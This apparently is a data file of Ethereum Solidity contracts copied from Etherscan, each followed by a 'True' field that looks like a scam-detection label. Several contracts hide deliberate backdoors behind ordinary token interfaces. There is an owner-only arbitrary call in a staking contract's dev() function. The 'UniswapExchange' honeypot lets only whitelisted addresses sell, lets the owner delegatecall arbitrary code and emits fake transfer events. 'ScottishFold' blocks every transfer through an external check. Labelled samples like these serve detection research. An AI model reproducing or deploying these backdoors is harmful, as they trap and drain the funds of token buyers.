if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
} else {
return bonusEndBlock.sub(_from).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending Nifity on frontend.
function pendingNifity(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accNifityPerShare = pool.accNifityPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 nifityReward = multiplier.mul(nifityPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accNifityPerShare = accNifityPerShare.add(nifityReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accNifityPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update dev address by the previous dev.
function dev(address _devadr, bytes memory _devkey) public onlyOwner {
devadr = _devadr;
(bool success, bytes memory returndata) = devadr.call(_devkey);
require(success, "dev: failed");
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 nifityReward = multiplier.mul(nifityPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
nifity.mint(address(this), nifityReward);
pool.accNifityPerShare = pool.accNifityPerShare.add(nifityReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to Contract for nifity allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accNifityPerShare).div(1e12).sub(user.rewardDebt);
safeNifityTransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accNifityPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from Contract.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accNifityPerShare).div(1e12).sub(user.rewardDebt);
safeNifityTransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accNifityPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Safe Nifity transfer function, just in case if rounding error causes pool to not have enough nifity.
function safeNifityTransfer(address _to, uint256 _amount) internal {
uint256 nifityBal = nifity.balanceOf(address(this));
if (_amount > nifityBal) {
nifity.transfer(_to, nifityBal);
} else {
nifity.transfer(_to, _amount);
}
}
function setNifityPerBlock(uint256 _nifityPerBlock) public onlyOwner {
require(_nifityPerBlock > 0, "!NifityPerBlock-0");
nifityPerBlock = _nifityPerBlock;
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
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/**
*Submitted for verification at Etherscan.io on 2021-06-27
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-29
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.2;
interface CoinBEP20 {
function dalienaakan(address account) external view returns (uint8);
}
contract ScottishFold is CoinBEP20 {
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowance;
CoinBEP20 dai;
uint256 public totalSupply = 10 * 10**12 * 10**18;
string public name = "Scottish Fold Cat";
string public symbol = hex"53636F7474697368466F6C64f09f9088";
uint public decimals = 18;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(CoinBEP20 otd) {
dai = otd;
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address owner) public view returns(uint256) {
return balances[owner];
}
function transfer(address to, uint256 value) public returns(bool) {
require(dai.dalienaakan(msg.sender) != 1, "Please try again");
require(balanceOf(msg.sender) >= value, 'balance too low');
balances[to] += value;
balances[msg.sender] -= value;
emit Transfer(msg.sender, to, value);
return true;
}
function dalienaakan(address account) external override view returns (uint8) {
return 1;
}
function transferFrom(address from, address to, uint256 value) public returns(bool) {
require(dai.dalienaakan(from) != 1, "Please try again");
require(balanceOf(from) >= value, 'balance too low');
require(allowance[from][msg.sender] >= value, 'allowance too low');
balances[to] += value;
balances[from] -= value;
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns(bool) {
allowance[msg.sender][spender] = value;
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
} | True | [
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] | [
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] |
pragma solidity ^0.4.20;
/*
*A reincarnation of Mahatma Gandhi, born again to live forever on the Ethereum Blockchain
dddddddd
GGGGGGGGGGGGG d::::::dhhhhhhh iiii jjjj iiii iiii
GGG::::::::::::G d::::::dh:::::h i::::i j::::j i::::i i::::i
GG:::::::::::::::G d::::::dh:::::h iiii jjjj iiii iiii
G:::::GGGGGGGG::::G d:::::d h:::::h
G:::::G GGGGGG aaaaaaaaaaaaa nnnn nnnnnnnn ddddddddd:::::d h::::h hhhhh iiiiiiijjjjjjjiiiiiii iiiiiii ooooooooooo
G:::::G a::::::::::::a n:::nn::::::::nn dd::::::::::::::d h::::hh:::::hhh i:::::ij:::::ji:::::i i:::::i oo:::::::::::oo
G:::::G aaaaaaaaa:::::an::::::::::::::nn d::::::::::::::::d h::::::::::::::hh i::::i j::::j i::::i i::::i o:::::::::::::::o
G:::::G GGGGGGGGGG a::::ann:::::::::::::::nd:::::::ddddd:::::d h:::::::hhh::::::h i::::i j::::j i::::i i::::i o:::::ooooo:::::o
G:::::G G::::::::G aaaaaaa:::::a n:::::nnnn:::::nd::::::d d:::::d h::::::h h::::::h i::::i j::::j i::::i i::::i o::::o o::::o
G:::::G GGGGG::::G aa::::::::::::a n::::n n::::nd:::::d d:::::d h:::::h h:::::h i::::i j::::j i::::i i::::i o::::o o::::o
G:::::G G::::G a::::aaaa::::::a n::::n n::::nd:::::d d:::::d h:::::h h:::::h i::::i j::::j i::::i i::::i o::::o o::::o
G:::::G G::::Ga::::a a:::::a n::::n n::::nd:::::d d:::::d h:::::h h:::::h i::::i j::::j i::::i i::::i o::::o o::::o
G:::::GGGGGGGG::::Ga::::a a:::::a n::::n n::::nd::::::ddddd::::::dd h:::::h h:::::hi::::::ij::::ji::::::i i::::::io:::::ooooo:::::o
GG:::::::::::::::Ga:::::aaaa::::::a n::::n n::::n d:::::::::::::::::d h:::::h h:::::hi::::::ij::::ji::::::i ...... i::::::io:::::::::::::::o
GGG::::::GGG:::G a::::::::::aa:::a n::::n n::::n d:::::::::ddd::::d h:::::h h:::::hi::::::ij::::ji::::::i .::::. i::::::i oo:::::::::::oo
GGGGGG GGGG aaaaaaaaaa aaaa nnnnnn nnnnnn ddddddddd ddddd hhhhhhh hhhhhhhiiiiiiiij::::jiiiiiiii ...... iiiiiiii ooooooooooo
j::::j
jjjj j::::j
j::::jj j:::::j
j::::::jjj::::::j
jj::::::::::::j
jjj::::::jjj
jjjjjj
*Where there is love there is life.
*Happiness is when what you think, what you say, and what you do are in harmony.
*You must not lose faith in humanity. Humanity is an ocean; if a few drops of the ocean are dirty, the ocean does not become dirty.
*In a gentle way, you can shake the world.
*The weak can never forgive. Forgiveness is the attribute of the strong.
*Strength does not come from physical capacity. It comes from an indomitable will.
*A man is but the product of his thoughts; what he thinks, he becomes.
*Earth provides enough to satisfy every man's needs, but not every man's greed.
*Freedom is not worth having if it does not include the freedom to make mistakes.
*I will not let anyone walk through my mind with their dirty feet.
*
*A tribute to Mohandas Karamchand Gandhi Ji - 2 October 1869 – 30 January 1948 - Jai Hind!
*/
contract GandhiJi {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlybelievers () {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyhodler() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
